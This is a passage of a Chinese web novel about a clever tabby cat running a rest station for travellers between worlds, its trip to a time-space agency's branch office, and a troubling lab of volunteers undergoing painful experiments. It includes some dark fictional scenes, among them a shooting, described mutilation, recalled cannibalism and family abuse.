狸花猫正在便利店的收银台上翻着肚皮玩爪爪,听到暮时的关心就喵了一声。
看见猫猫翻肚皮还能不摸吗?摸!
但事实上,有时候猫猫翻肚皮只是表示信任和友好,人类突然摸上去多少有点像一个唐突的大流氓。还好,销冠并不介意这个,只是轻轻咕噜咕噜了几声。
直到暮时掏出了金枪鱼罐罐,狸花猫才爬起来看着她喵喵叫。
“首先,恭喜猫猫休息站转正啦。”
暮时边说着,边拉开了罐罐放到狸花猫面前,看着它啊呜啊呜地吃着,忍不住感到心情放松了些。
也不知道为什么人喜欢看猫吃饭,但是据所长的数据显示,看猫猫吃饭吃得很香确实会普遍提高人的幸福感(以平均水平为基准,不排除例外)。
是的,括号里面的内容是祂要求引用时必须加上的。半个硅基生物说话比较拽。
“话说,你准备什么时候去分局述职呢?这周日可以吗?”
听到暮时的询问,集中全力吃罐罐的狸花猫抽空喵了一声。
“猫猫武道大会?你还真是……”
暮时被奸商搞促销活动一样的狸花猫逗笑了,摸了摸它的小脑袋。
正如之前报告中提到的那样,狸花猫以前确实是一只自然界中的普通猫猫——只是它恰好就是基因突变得比物种极限要稍微聪明了一点点。而就是这一点点,让它勉强迈进了智慧生命的范畴。
当然,它其实并不是第一只这样的聪明猫猫,也没有那么特殊。只是机缘巧合下,它的异常又被时空管理局注意到了。
猫猫一般不会像狗狗那样结成流浪狗群,只是松松散散地互相交换一下信息,闻闻嘴巴看看有谁找到好吃的了,或者偶尔关系好就一起玩玩。
但狸花猫是一只脱离了低级趣味的猫猫,它不仅能为自己要到食物,还会教其他猫猫怎么去找食物,怎么分辨好人类和坏人类,怎么和人类相处。
在狸花猫的带领下,某个不起眼的小城市的普通公园中,兴起了一个网红打卡点——以公园小卖铺为中心的猫猫公园。
由猫猫经营,猫猫管理;依靠猫猫,为了猫猫。据说这里的猫猫通了人性,不仅能听懂人话,还会给人类叼来花花换食物。
随着这里的风声越来越大,当地管理者注意到了这个状况,便出台了配套的保护政策,以便更好地拉动旅游与消费。
同时,流浪猫到处跑也不是个事,于是便有人在公园里建了个小屋子给猫猫们住,还成立了个猫协,猫猫们也很喜欢这个能遮风避雨的“家”。
这就是最初的,猫猫休息站。
但再之后……
“喵!”
狸花猫本能地一口差点咬住暮时的手,回过神来,有些尴尬地用小舌头舔了舔她差点被咬到的手指。
暮时则根本没注意到这一点,只以为它是在闹着玩,还有些好笑。
想起了点不太好的往事,狸花猫有些恹恹地在收银台上踱步了会,又吃了几口罐罐才恢复了心情。
笨猫猫只要每天快乐地玩耍吃饭就好了,但聪明的狸花猫要操心的事情就太多了。总之,日子一天天过去,很快就到了周日。
今天客人算是来得很齐了,除了大家熟悉的末日世界、文明世界与奇幻世界的人,还有些同样十分奇特的人。
凯桑德拉倒是很高兴这里有了酒馆的热闹氛围,拉着犯了社恐的卫锦程到处找人聊天,了解各个世界的风土人情。
卫锦程也不知道她为什么莫名其妙被凯桑德拉划归到“自己人”的范畴里去了,但她发现自己倒也没有怎么排斥。
“太棒了,这次队长终于不拉着我们去和陌生人进行那种恐怖的抢劫式搭话了。”
艾尔松了口气,而乔伊斯赞同地点了点头。
暮时本来戴着口罩独自坐在一边,却在最不准备和人说话的时候被最外向的人逮住了。
“之前在店里怎么没见过你呀,你是新来的吗?”
狸花猫在过道上走来走去,它左边的布偶猫背着小小的塑料板,上面放着瓜子饮料矿泉水的小牌子。猫猫背不动那么多东西,只能客人买什么它们去背什么过来。
它右边的德文猫叼着印章背着印泥,用小精灵般的脸无辜地看着客人们,无声地询问他们是否想要盖一个纪念章。
至于狸花猫,它负责喵喵叫和人类社交,起到一个叫卖的作用——瓜子饮料矿泉水,路过的客人要摸摸猫猫吗?
训练场内,小煤球和英短在互相喵来咪去,两只猫胆子小,谁也不敢动手,伸着爪爪互相试探着绕了半天。
一个伸出爪爪拍一下,另一个马上一个大跳喵儿哇乱叫。最后,英短凭借体型优势窝窝囊囊地把小煤球拱出了界,然后在下一场看见奶牛师傅的时候果断弃权跳走。
世界上总有一款更适合人类体质的斗蛐蛐,尤其是猫猫们打来打去的时候,还有销冠在场内窜来窜去维持氛围,绝不会让人感到无聊。
当然,销冠上场时一秒钟抽对面十个巴掌,那是销冠能文能武。快出残影的猫猫拳充分彰显了,猫的反应速度
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是人类的七倍。
而且考虑到观赏性,狸花猫作为销冠,还会自主在打架时添加无意义但有意思的跳跃与闪转腾挪等高难度动作。
在它和本来行动就诡谲难测的奶牛师傅对上后,那更是王牌对王牌。两只猫棋逢对手,咪喵咪喵地互相不知道抽空了几巴掌。
猫飞猫跳。
如果要描述现在训练室的状态的话,大概是——小猫咪上蹿下跳把屋里搞得稀巴烂,小猫咪跳到人头上压得人肩膀脖子酸;小猫咪打架扯得猫毛漫天飞,小猫咪到处喵喵叫着要零食。
尤其是轮到布偶猫的时候,猫毛更是像是要把这里淹了一样。谁也不知道一团布偶猫为什么能掉出一团和它差不多大的毛,而体型居然几乎没什么变化。
人类会开玩笑说物理学不存在了,猫猫不符合质量守恒定律,而不解风情的半个硅基生命会说这是因为浮毛藏在毛里。
所长一副气定神闲的样子一个人站在旁边。暮时看见了后,赶紧以“和上级打招呼”为由敷衍着摆脱了凯桑德拉。她倒不是讨厌这样的自来熟,只是单纯不太适应。
见暮时走了过来,所长看了她一眼,又移开了视线:“来我这讨清闲可以,客套话就免了吧。有话直说。”
“是,谢谢您。”
暮时从善如流,直接应了下来,
“我的直属上级托我打探一下,您到底要做什么。”
反正面对这种生命形式完全不同的生物,什么迂回客套都是浪费时间,暮时就干脆单刀直入了。
“无可奉告。为什么蛇派的那家伙觉得换个人来我就会回答了?”
所长的语气依然冷漠不带感情起伏,
“你去报告的时候帮我带句话吧——‘虽然我一样无法违抗时间和规律洪流,但你们作为活在当下的个体,都应该庆幸我不在你们的对立面’。”
“半个硅基生命说话就是拽啊。”
暮时当面终于把这句想吐槽很久的话说了出来。当然,这没什么不礼貌的,因为所有人都知道这位所长根本不在乎。
祂显然几乎没有人文关怀,但在时空管理局私下投票中,却获得了最受欢迎的上司第二名的好成绩。原因无他——指令清晰明确,效率高且绝不会布置无理任务,也不造成任何情绪压力。
一般来说,都认为和祂说话就当成和电脑说就行,这也是时空管理局的一个共识了。
当然,还是时刻谨记祂多少还是个“生物”比较好。
“不过非要我说,总觉得我上级比起说提防你,更像是你深柜呢。”暮时说着说着就忍不住多吐槽了一句,“之前跟我骂你的时候怎么听怎么像是……”
“蛇派的小姑娘,给你个忠告,这句话别当着你那个上级说。”所长又瞟了暮时一眼,“那家伙虽然不至于把你怎么样,但似乎莫名其妙在这个事上有点小心眼。”
暮时听着祂突然流露出一丝人性化的措辞,沉默了下来,憋回了后半句话——怎么听怎么像是恨自己没法不让祂变成现在这样。
这边聊着,那边的已经开始表演结束后的娱乐节目了——挑战猫上能叠多少只猫。
21. 猫猫要进城
猫猫的节目笨笨的,但是很可爱。摇摇晃晃的毛绒绒猫猫塔,大型的猫猫垫底,灵活的猫猫往上跳,狸花猫叼着小煤球跳到最高层,然后一抬头将小煤球甩到头顶,大声喵喵对观众叫了起来。
“喵——”
不知道哪只猫猫先撑不住了,塔突然从中间倒了下来,猫猫们四散跃下,被压了一会的布偶猫站起身抖了抖毛,活动了下筋骨。
“行了,我要去给猫当苦力了。”
所长叹了口气,双手抱在胸前径直向训练场中央走去。狸花猫见状,快速跑去想把麦克风背过来,却被祂制止了。
“不用,我有内置扩音装置。”
祂低头说完,又抬起头,看向那一堆只是见过祂或者根本不认识祂的来客,接过狸花猫叼来的纸条,平铺直叙地开口,
“我谨代表时空管理局与本休息站管理者狸花猫,感谢各位对休息站的贡献与长久以来的支持。
正是你们的喜爱、协助与参与,才让猫猫们能够保住这个容身之所,过上吃喝不愁的生活。
即日起,本休息站正式更名为猫猫联合幸福协会休息站……这起的什么名字?”
在猫猫们动了动耳朵后此起彼伏响起的、不满的喵声中,所长叹了口气,轻咳了一声,继续说道,
“自休息站运营以来,猫猫们见证了大家的故事与友谊,尽管猫猫无法直接为你们做些什么,但本休息站管理者狸花猫委托我,祝愿你们所有人都能够拥有自己的幸福。
希望所有生物都有罐罐吃,有家可回;难过了能摸摸猫猫或者被猫猫摸摸;累了能好好休息好好睡觉;困难的时候有同类互相扶持互相帮助。
今后也请好好活着,继续来到休息站和猫猫们一起玩,谢谢喵。”
听着所长面无表情字正腔圆地念出了最后一个“喵”的尾音,暮时差点呛了一口气没上来,捂着脸无声地叹了口气。
这也没办法,这位真的是人机。不过,就算知道这位几乎是机器人,敢这么物尽其用地使唤祂的也就是猫了。
祂本人显然没有“尴尬”这种情绪,只是按照猫猫说的话读完了,又抱起狸花猫,对台下的人点了点头。
“以上,就是这里的管理者狸花猫让我代为传达的内容。我作为技术协助人员顺便补充一下,成为正式休息站后,本站会提供一些新的服务。
第一,本站将享有时空管理局的特殊保护。今后本站受到攻击时,可以在五个标准宇宙分钟内得到本局的协助,请各位不必担心安全问题。
第二,关于时空管理局的信息,稍后将正式张贴在店内公告栏中,有兴趣者可以自行查阅,但不必尝试外传,我们有专门的管控人员。
想必你们也该感觉到了,使用时空管理局管辖下的休息站是一种特殊权利而非固有权利,请珍惜。
第三,你们将可以购买到一些经过文明保护部审查的、其他世界的特产,请妥善使用。”
除此之外,事实上参与了保卫猫猫休息站的人之前都收到过了时空管理局派发的特别礼物。不过应狸花猫要求,祂没在公开场合说,避免引起尴尬。
凯桑德拉四人发现门口莫名其妙多了几乎是一个仓库的食物。卫锦程得到了一柄更好用的匕首、一个打火机和各种各样的便携爆竹,用于吸引丧尸的注意力以及自保。
并且,考虑到末日世界的特殊性,时空管理局破例允许卫锦程将爆竹暂时存放在猫猫休息站内。
而温言谨,则收到了钱。
对,钱,一大笔钱。从这些报酬中,大概就能看出时空管理局的不干涉低等文明发展协议是什么原则了——不能授人以渔,但可以授人以鱼,只能给他们本世界存在的东西。
不过,众所周知,只要是规则,就总会有这样那样的漏洞。毕竟世界上的智慧生命实在太多了。
比如现在,等到散场后,所长又留下了那些人,给了他们每人一个奇怪的机械装置——不同世界的人拿到的东西外形略有不同。
“根据不干涉低等文明发展协议,不得提供会影响低等文明发展水平的物品或帮助;根据文明保护协议,不得未经申请提供跨世界定点传送服务;
但根据文明保护协议补充条款第547条,遭遇空间风暴等不可抗力造成的随机传送不在惩罚情况内,应在接到通报后,在一个宇宙标准日内予以遣返。”
所长指了指他们手中的东西,又指了指几只猫正在嗅来嗅去的按钮,以一副理所当然地语气说道,
“我在休息站放置了可以引发传送空间风暴的按钮,这种空间风暴目前依然被时空管理局定义为‘不可抗力’。你们现在拿着的只是普通的定位器和通讯器。
所以你们只是在碰到危险的时候给猫发了个消息,然后不小心被突如其来的风暴卷到了休息站,而狸花猫会在发现你们之后的一天内遣返你们。
告知义务履行完毕,有问题吗?”
“这还真不是碳基生命能整出来的活。”暮时在旁边吐槽了一句,又看向所长,“领导,那要是之后改规矩了怎么办?”
“那我就过来把这个装置拆了,反正又没人能弄死我。这是我个人提供的报酬,能用多久算多久。”
说话间,就有猫的爪子按在了按钮上,然后用一副做错了什么的表情和所长面面相觑。
重复一遍,在宇宙的每个角落里,猫都是可爱的小混蛋。
“……我在制作时就做了两重保险装置,要他们那边发出求助申请,这边的按钮响起后,你们按了才有用。”
之前给猫做过一个类似的东西,结果被猫用来抓人过来陪他们玩,后来就收回了。说起来,牧师泽安德就是受害者之一——大晚上突然被绑架来给猫体检。
送了东西后,所长一只手抱起狸花猫,另一只手拎住了暮时的衣袖,轻点了点头:“好了,我之后还有工作,有事情让猫解释,失陪了。”
说完,祂便迅速带着一人一猫出了门。
让猫解释,这是人能说的话吗?其他被留在休息站的几人和剩下的猫面面相觑,德文猫将之前休息站受到紧急攻击时买的翻译器叼了过来,抱歉地喵了一下。
——不好意思,我们休息站晋升为正式休息站后,需要派代表和观察员
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一起前往总部述职。那位所长说可以顺便捎一程。
暮时在所长的载具上,左右看了看,不禁有些惊叹。
不愧是技术研究所的所长啊,就连普通的跨空间载具都装载了这么多前沿科技。最新的定位与通讯设备,用于存储反物质的粒子加速器,还有……
“嚯,好高级的咖啡机。领导,我能喝吗?”
“可以,但我不建议你喝。”
所长点了点头,看着暮时苦到干呕了一声,继续说道,
“这里面加入了用于调节仿生机体效能的浓缩咖啡因,而且我制作的时候没考虑口味的问题。”
眼看着狸花猫凑过来好奇地闻了闻,暮时赶紧把咖啡杯拿高,喝也不是不喝也不是。
猫猫最喜欢喝人类水杯里的东西了。尤其是狸花猫此猫乃恶霸猫,开始在操作台上假装舔毛,实则偷偷注意暮时的动作,看她什么时候把杯子放下来。
见状,所长叹了口气,抬手接过咖啡杯一仰头全喝完后,抬手把咖啡机锁了。
“这东西不适合你的生理结构喝,有需要的话通过售货机后台面板向技术研究所发送诉求,十个标准宇宙日内我会给你答复。”
狸花猫骂骂咧咧地喵了好几声,开始在载具内迈着爪爪到处巡视,把这里当成自己的地盘。
狸花猫猫四海为家,随遇即安,直接坐到了驾驶座上。
眼看着两个人形生物都盯着它,狸花猫转头看着两人,耳朵动了动,喵了一声。
随便坐,就当自己的载具一样。
“……我讨厌猫。”
所长一边说着,一边拎起狸花猫,递给暮时,
“你是观察员,你负责看管它,我要规划空间跳跃路线。”
“领导,你和猫计较什么啊。”暮时抱起狸花猫,让销冠故意卖了个萌,“你看,多可爱啊。”
“它已经是智慧生命了,只是一种不同生理结构的智慧生命,对我来说你们没有区别。如果是那些不被判定为智慧生命的猫,那倒是确实不必费心去说什么了。”
载具启动后,立刻遁入了空间夹缝中。狸花猫睁着圆溜溜的眼睛,望着窗外的奇妙空间好奇地摆了摆尾巴。
一个个透明球状物正发着不同颜色的光,如同漂浮在水中一般轻微浮动着。
“这里是夹缝空间,这些光球是时空管理局放置的、联通不同世界核心的传送定位锚点。。”
暮时主动开口解释道,省得劳烦那位所长甩过一堆过于专业听得头疼的话,
“只有用这些光球辅助定位,我们才能实现安全的空间跳跃……除了领导刚才搞的那个小设备以外,一般来说是这样的。”
“喵?”
“不,不可以用爪子拨拉着玩。这些球都联通着某个世界的核心,乱动的话,甚至可能面临被一整个世界规则绞杀的风险。”
狸花猫的眼睛倒映着各色光球,亮晶晶的,可惜猫猫是色盲。
在繁星般的世界核心锚点之间穿梭许久,狸花猫终于远远看见了一座缠绕着荆棘玫瑰的、宫殿样式的灰白色建筑矗立于光球之间。
22. 分局概览与培训
下了载具,暮时赶紧一把抓住狸花猫,省得猫撒手没了。
狸花猫喵了乌拉地叫了会表达不满——现在不用营业了,销冠也不夹了,喵得乱七八糟的,不过依然长得很可爱就是了。
“行了,你带它去办手续,办完了去技术部找我,我再把你们带回去。”
所长说完拔腿就走,一句话都没多客套。好在暮时也没真指望祂有多热心,抱着狸花猫到处转悠着参观介绍,跑流程报备拿批准。
“这里是法务部,平时工作是抱着宇宙法研究有没有漏洞。他们boss是那边那本巨大的书——对,那是一个智慧生命。它的生命形式就是‘法典’,从宇宙中所有智慧生命的法律中汲取能量。”
“这里是人事部,负责登记加入管理局的智慧生命。我之前在这里干活的时候,boss是对情绪敏感到近似会读心术的一位人形智慧生命,但是也因此情绪负担太大,非必要不见人,是超级社恐。”
“这里是资源管理部。要进这个部门必须经过特别严格的审核,说难听点,小时候一天换几条纸尿裤都得查明白。当然,待遇也好,同等级情况下,这里待遇是最好的。”
“这里是文明平衡部,相对比较闲。因为绝大多数情况下,我们不会进行文明层面的干涉。事实已经证明,大多数自以为是的干涉都会使事情向坏的方向发展。”
“这里是跨世界签证办理处,对需要跨世界传送的个体进行能力限制与风险告知。你之后可以通过自动售货机联系这里,帮助你的客人申请跨世界签证,算是一种很有用的休息站服务。”
“这里是交流部,负责组织内部不同派系交流。呃,这里没什么手续需要办,没事也少来这里,每个派系日常在这里掐架辩经,是时空管理局分局内部的最不体面的地方。”
事实证明,不管是什么生物,辩经的时候都急。狸花猫动了动耳朵,隐约听见门内传来了确实说不上很体面的争吵声。
“喵?”
“你问我为什么是你的后辈?我进入分局工作的第一周,就因为杀了蛆虫而被贬去看监控了。没事,没被下放去看过监控的蛇派成员都不算蛇派成员。”
暮时一副理直气壮的样子,抱着咪喵咪喵问来问去的狸花猫继续在总部穿行,办着各种各样的手续。
——————
如何处理完全异化的智慧生命一直是时空管理局争论不休的论题。激进派说应当剥夺智慧生命权,能杀则杀,温和派则认为应当以管控为主,只要它们没有做出伤害别人的行为,就不应当因为它们的思想定罪。
请习惯,“它”是宇宙中最普遍的人称代词。据不完全统计,无性别智慧生命占到智慧生命总数的三分之一,非人形智慧生命占到智慧生命总数的五分之三,而狭义定义的人类甚至占不到亿万分之一。这里最为广泛的概念是“智慧生命”。
回归正题,完全异化的智慧生命依然拥有智慧生命的智能,但已经失去了“主体性”,将自己的价值完全外化成了其他东西,而“我”反而成为了寄生物。
金钱、权力、地位、工作、成绩……甚至是一些更为荒谬的东西,都有可能取代人成为“我”。而在这种情况下,完全被异化的个体便反过来认可“自己”是可以被丢弃工具。
时空管理局降低异化指导手册第一条——谨记,对你来说,不应当有任何东西比你自己更重要。即便牺牲自己,也是应该是出于自由意志为了成就自己。
失去了自我,便无法理解别人的自我,这些生物自然而然地觉得所有人都该认同它的世界观内扭曲的那一套。
暮时刚进入到时空管理局的时候,被调入了人事部。人事部有个硬性招人标准——情绪稳定,有事说事。
人事部的boss面对情绪不稳定的人,会因为感知能力太强变得很不舒服,严重时会造成生理性晕眩与呕吐。而且情绪不稳定的人也干不了这个事。
比如现在,暮时微笑着看着面前的人,语气缓慢地重复了一次。
“抱歉,您不符合时空管理局的入职条件。异化度高于百分之八十的非抗异化个体,不在本局的招聘范围内。”
面前的人喋喋不休,引经据典,动之以情,甚至对暮时明嘲暗讽,暮时都只是重复这一句话,心里完全没在意。
啊啊,待会去吃食堂的哪个窗口呢。时空管理局的伙食真好啊,听说新开了一个特色餐口还不错呢……
时空管理局会随机在不同世界开放传送点,以吸纳拥有不同价值观的新鲜血液。时不时就会有这样的人来纠缠不休,习惯了。
“你们不是说过,不追究未发生在时空管理局管辖范围内的行为吗?我不就是以前杀过几个奴隶而已。”
“好的,请问您是出于什么原因去杀人的呢?我这边帮你查询一下具体条例。”
暮时的语气依然很稳定,带着营业般的微笑继续说道。尽管,异化度事实上和具体行为并不是一回事——异化是一种主观的异变,只是会在客观行为上有所体现而已。
各个世界有不同的生态,行为无法一概而论。宇宙范围内的“正义”并无定论,而主观定罪在程序上又不可取,因此时空管理局原则上并不评判个体的客观行为。
与大家想象的不同,时空管理局本质上其实是志愿者性质的组织,只是为了抑制智慧生命异化趋向与维持宇宙稳定而存在。
“没什么,就是几年前闹饥荒,谁家都困难啊,我家也没多少余粮。”
暮时在心里打了个哈欠,没有波动。
“然后,我看他们在煮什么东西吃,还不知道在喊着什么,就有些好奇。本来嘛,树皮和草皮都没了,能煮什么东西呢。”
条例不允许工作人员催促说重点,暮时也只能等待着这人说完长篇大论。
“我一看,看见锅里有一只小孩的手。我就想,也巧了,我还没尝过这种新鲜东西,就顺手拿走了。”
“……”
暮时的表情略微僵了一下,随后微笑着站起身,对这人点了点头,
“我知道了,请您跟我过来一趟。”
此时暮时的情绪依然很稳定,只是把人带到偏僻点的地方后,一枪崩了。
触发警报后上级赶来,暮时站在尸
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体旁边举起双手,对看起来有点胃痛的人事部上级笑了笑。
“领导,那个,抱歉啊,能等我吃完饭再开除我不?”
听说这个事件后,蛇派甚至连夜从总局派人过来,直接把暮时拉进了派系内。
——————
“好了,最后就剩下技术部了,搞完顺便让领导载我们回去。”
暮时抱着猫走过去,叹了口气,
“每次去那边都有点毛骨悚然……算了,到了你就知道了。”
狸花猫从暮时的怀里跳了下来,伸了个懒腰,迈着爪爪走到门前,超大声地喵哇哇哇地一通叫唤,
门打开后,祂站在门口低头看着狸花猫,语气依然是那副没感情起伏的样子:
“安静,你已经造成噪音污染了。”
“喵!”
狸花猫不屑地甩了甩尾巴,自信地向门内走去,随后突然小鼻子动了动,有些疑惑地左右看了看,本来高高竖着的尾巴突然耸拉了下来。
偌大的实验室一般的空间内,有无数人影穿行忙忙碌碌,却没有任何说话声,只有不知名的仪器轰鸣与有节奏的脚步声。
都是“祂”。
“语言是用来和其他个体交流的,但你动手指的时候需要说话吗?”
其中一个祂开口解释道,蹲下身摸了摸有些疑惑警惕的狸花猫,
“对了,你长的是爪子,动不了手指。我问你,你动尾巴和耳朵的时候需要喵喵叫吗?你就理解成,‘我’是一个巨大且四分五裂的生物的一部分就好。”
狸花猫很不爽——这个看着像人类的生物非常会摸猫,但是每次总是例行公事一般兴趣缺缺地摸两下就收手,好像多摸摸猫猫让祂吃亏了似的。
不过它倒是大概理解了,这些长得一样的家伙都是同一个生物,只是分成了好多个而已。
与能够迅速在个体间传递信息的虫巢文明不同,“祂”从始至终都是一个生命,这里的“祂们”都只有一个相同的自由意志。
“过来一趟,蛇派的小姑娘,你的直系上级让我给你做思想培训。”
“啊?但是您二位不是……”
“没错,是方法论意义上的对立派。我支持践行程序正义,而那家伙显然是结果正义者。”
祂一边走着,一边平铺直叙地继续说着,
“你们蛇派都这样,但我其实并不讨厌你们这种片面的思维和冲动的行事。作为个体来说,你们显然拥有比我更加充沛而丰盈的人性。”
暮时倒是大概理解为什么直系上级一提到所长就表现得像深柜一样了,可想而知在辩论的时候突然被人用这么冷静的叙述夸一句,大概是一口气憋着上不去也下不来。
“但是,思想培训是什么意思?”不过暮时还是没理解用意——就算这样,让对立思想派别的人进行思想培训,总觉得还是有些想不通。
祂没有说话,只是对准瞳孔识别门禁看了一眼。不明金属制的门从中间缓缓打开了,暮时好奇地向内张望了一眼,随后僵住了。
狸花猫突然弓起了身子,哈了一口气,像是也受到了惊吓。
23. 实验
“你应该只是粗略知道有这么个项目,还没具体见过。”
祂率先迈步走了进去,回头看了一眼停在原地的一人一猫,抬了抬头,
“别担心,这项实验只有宇宙中最无辜的抗异化个体能参与,你们不符合条件。”
周围是两人高的透明圆柱状玻璃容器,容器很宽敞。每个容器中存放着一位生理残缺的生物,只穿着简单干净的衣物遮掩身体。
非人形生物看不出缺了什么,而人形生物有的断手断脚,还有一些甚至全身的皮肤都被剥了下来,露出了粉红色的、跳动的肌肉组织,时不时发出痛苦的轻呼声。
祂握住暮时的手腕,拉着她往里走。而狸花猫犹豫了一下,也慢慢警惕地跟了上来,不时左右看看。
“是猫猫诶。”
狸花猫被突如其来的声音吓得跳了一下,本能耳朵压向后方,弓身哈了一口气,发现没什么危险后才动着耳朵左右看了看,发现是容器里的生物正在窃窃私语。
尚且有视力的一部分人形智慧生命带着喜爱和遗憾不能摸摸它的眼神看了过来,而失去视力的个体,则只能请求其他个体帮忙描述一下。
狸花猫走近了最近的容器,而容器里的智慧生命低头看它,看它把粉色的肉垫贴到玻璃器皿上,温和地笑了。
“你好啊,小家伙,我们没有吓到你吧?”
“喵……”
狸花猫抬着小脑袋发了会呆,不知道想了什么,一转头,才看见所长和暮时已经走远了,刚想迈着爪爪跟上,一回头,却又对上了一双有些不舍的眼睛。
算了,人类的思想教育不管猫猫的事情,在哪营业不是营业。
这样想着,狸花猫又发出了轻柔可爱的喵喵声,在地上打了个滚伸懒腰。
…………
另一边,暮时的枪口正冒着烟,而所长的头部完全被打烂了,半个脑壳崩裂开来,露出了里面的机械结构。
“……我讨厌生气。因为我觉得,在事情发展到我想一枪把人崩了之前,我们都应该可以好好说话。”
暮时缓缓开口,而她后面的玻璃容器里是一位失去了双臂的人类,他的眼睛处只有两个黑漆漆的血洞,正有些茫然地为刚才的枪响而感到困惑焦急。
“你是……之前帮我到这里来的、便利店里的那个女孩子吗?刚才是什么声音?你遇到危险了吗?所长……”
“帮你?你说我帮你?我**就是个**,你说我帮你……”
暮时刚才语气还算平静,听到宁诚说的话反而猛地转头,说不上是愤怒还是无力。
“‘杀人者死’……我存有这种规则武器的数据记录。这东西确实很厉害,不过你也知道,对我没用。”
另一位祂走了过来,双手抱在胸前叹了口气。正如祂所说的,暮时手上的这把枪的规则便是“杀人者死”,而暮时,显然是某个规则的执掌者。
这把枪会根据对方抹杀过的智慧生命数量造成相应的伤害,但相对的,如果对没有杀过智慧生命的个体开枪,那么炸开的就是她的脑子。
这是不涉及价值判断的客观规则。无论贫富贵贱,无论善恶功绩,一个灵魂就只价值一个灵魂,不多不少。
“别做无用功。你要是想杀,这具机体也送你了,反正成本不高,对我来说要多少有多少。
另外,我不是这项实验的主导者,而是一个辅助工具。这里的一切都是它们自行完成的。”
暮时上膛的动作停了停:“……自行完成?”
“你以为呢?一个智慧生命对另一个智慧生命进行这种实验,在任何情况下都是绝不能被原谅,更不能被允许的,我也不例外。”
祂看着暮时,依然用冷淡的语气说道,
“所以在‘对抗异化个体的生理层面研究’这个项目中,它们都签署了风险知情同意书,而我只负责满足它们提出的设备要求,得到允许后使用它们给出的数据,并提供技术指导。”
一时间,空气沉默得暮时不知道该说什么,好像怒火突然间变得极其苍白无力,都不知道该涌向谁。
暮时转头,看向玻璃容器里的人。宁诚露出了有些腼腆而局促的微笑,左右偏了偏头,不确定自己有没有面向她,也不确定她还在不在。
“我问你,你来到这里之后到底发生了什么?有没有人诱导你或者逼迫你?”
“啊?没有没有,是我自己选的。带我来这边的人告诉我怎么用仪器,怎么记录数据,每个仪器会造成什么后果,还着重讲过放弃后也可以安排其他工作,让我不用勉强。”
宁诚还是在笑着的,似乎不觉得有什么不对劲,语气间反而比起之前那副局促的样子平静了不少,
“说真的,刚开始听说居然让我这种笨蛋做研究时,我差点吓得想逃跑了。本来觉得我肯定会搞砸的,但是结果我居然做得还不错。”
“……你疯了?”
“呃,你这么一说好像是有点,我都忘了。抱歉,吓到你了吗?”
宁诚的肩膀动了动,似乎本能想要抬胳膊挠挠头,但肩关节以下已经什么都没有了,
“但我现在很好,已经不疼了……所长,您还在吗?麻烦您帮忙解释一下吧,我脑子慢,嘴也笨。”
祂听到这个请求,应了一声,随后看向暮时,开口接过了话茬。
“考虑到大部分异化的发生都是来自客观世界的影响,因此本项实验主要针对抗异化个体在客观痛苦下的生理变化进行探究。
如果这项实验成功,那么就可以直接开始对所有智慧生命进行身体改造,从生理层面消灭‘异化’这个寄生在所有智慧生命群体中的癌症。
顺带一提,它们中的任何一个都有权随时退出,但留在这里的,都是高异化度的抗异化个体,所以……”
话说到最后,所长微妙地停顿了一下,抬头看向宁诚,不再说话。而宁诚犹豫了一下,接过了话茬。
“说实话,我真的听不太懂你们在说什么,到现在也不太明白。什么时空啊异化啊之类的……”
宁诚依然有些不好意思地笑着,一副好像做了什么错事似的样子,
“但是我大概理解了,我感到痛苦的原因,类似于我生了病,但恰好携带抗病因子,所以才一直没
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病死。
这位所长告诉我,我可以帮忙把抗病因子找出来。我感觉很高兴,这么聪明的人居然夸我了。”
从跟他打一个比方就只能记住比喻本身这一点,倒是能看出来宁诚的脑子确实不算好用。
所长深吸了一口气,语气略微变了变:“它们已经忘记自己生命的价值了,只是本能还珍视着生命。”
高异化度抗异化个体常常处于长久而难以忍受的痛苦之中,对生命认知的撕裂折磨着它们。它们通常具有自我否定倾向,并对于肯定自己的生命价值具有病态而迫切的渴望。
用朴素点的话来说,就只是扭曲的社会价值观下出生的、非常善良但无法自洽的人而已。
令人难以评价的是,这项实验反而有效地提高了高异化度抗异化个体的生存率——通常,它们都是因为无法忍受内心与现实的撕裂而自我了断,但从这里,它们却切实得到了“价值”。
为了让全宇宙所有的智慧生命能够获得自由、让人成为人的事业,它们欢欣鼓舞地忍受着极大的痛苦。
就在这边气氛完全凝固住的时候,远处突然传来了一阵超大的喵喵声——狸花猫不知道在干什么,开始疯狂呼唤人。
所长转身往狸花猫那边走去,不再管暮时在想什么。而暮时看着玻璃容器里的宁诚,又环顾周围,沉默地看着这个微笑着的愚蠢人类。
而对于所长来说,祂不在乎。只是受人之托,事情办完了,祂对她也没什么兴趣。只是一个执掌者而已,对祂来说还不如猫麻烦。
之前蛇派的那个人找到祂,说暮时的心性非常好,但多少有些身为执掌者的天真,总认为自己能解决所有问题,希望所长能够帮她正确认识到异化问题的严重性与棘手本质。
狸花猫见唤来了人,便绕着祂的裤脚转来转去,喵喵喵地大吵大闹。
“……不,这个分局这边有几百个实验体,你被摸秃了也营业不完。而且放它们出来可能会造成伤口感染等问题,有些生命也不适合在室温条件下生存。”
“喵!”
“别担心,它们的诉求在我的安排中具有很高的优先级。既然它们表现出了对猫的喜爱,那我之后会从其他空间找普通的猫来养在这里。”
祂蹲下身,抬手摸了摸狸花猫,叹了口气,
“不过我倒是能理解你,天生聪明的个体总是要操心更多,这是我们的责任。”
某种意义来说,突破了智慧生物界限的祂,大概只是相当于狸花猫对于休息站的其他猫猫而已吧。
狸花猫眨了眨眼,敏锐地舔了舔所长的手腕作为安慰。
它只是一只聪明过头的小猫咪,但最大的诉求也只是让自己和手下的其他猫猫吃饱饱,有个舒适的环境可以待着,能快乐地玩耍。
成绩?金钱?权力?地位?拜托,为什么会有人指望小猫咪能明白这些东西。所以狸花猫也不明白,为什么其他智慧生命会因为这些东西而被异化。
狸花猫被摸得很舒服,发出了咕噜噜的声音,而祂收回了手,依然淡漠地看着阴沉着脸走来的暮时。
“还有事吗?”
24. 劣质品
就在刚才,所长被猫叫走后,剩下的两人沉默了一会,宁诚有些局促地开口:
“抱歉……我不是有意想让你生气的,你愿意听我说一下我的事情吗?”
暮时不太想说话,本能点了点头,突然意识到他看不见,只能僵硬地说道:“你说吧,我在听。”
听到暮时说愿意听他说话,宁诚笑得很开心。
“我啊,是个非常非常平庸的人。用家里人的话来说,就是‘劣质品’,我自己也这样觉得。
无论是学习还是特长都没有天赋,嘴笨不会说话,脑子转得也慢。他们很失望,每次失望都会打我,吵架也会。我想,是因为劣质品不需要小心对待吧。
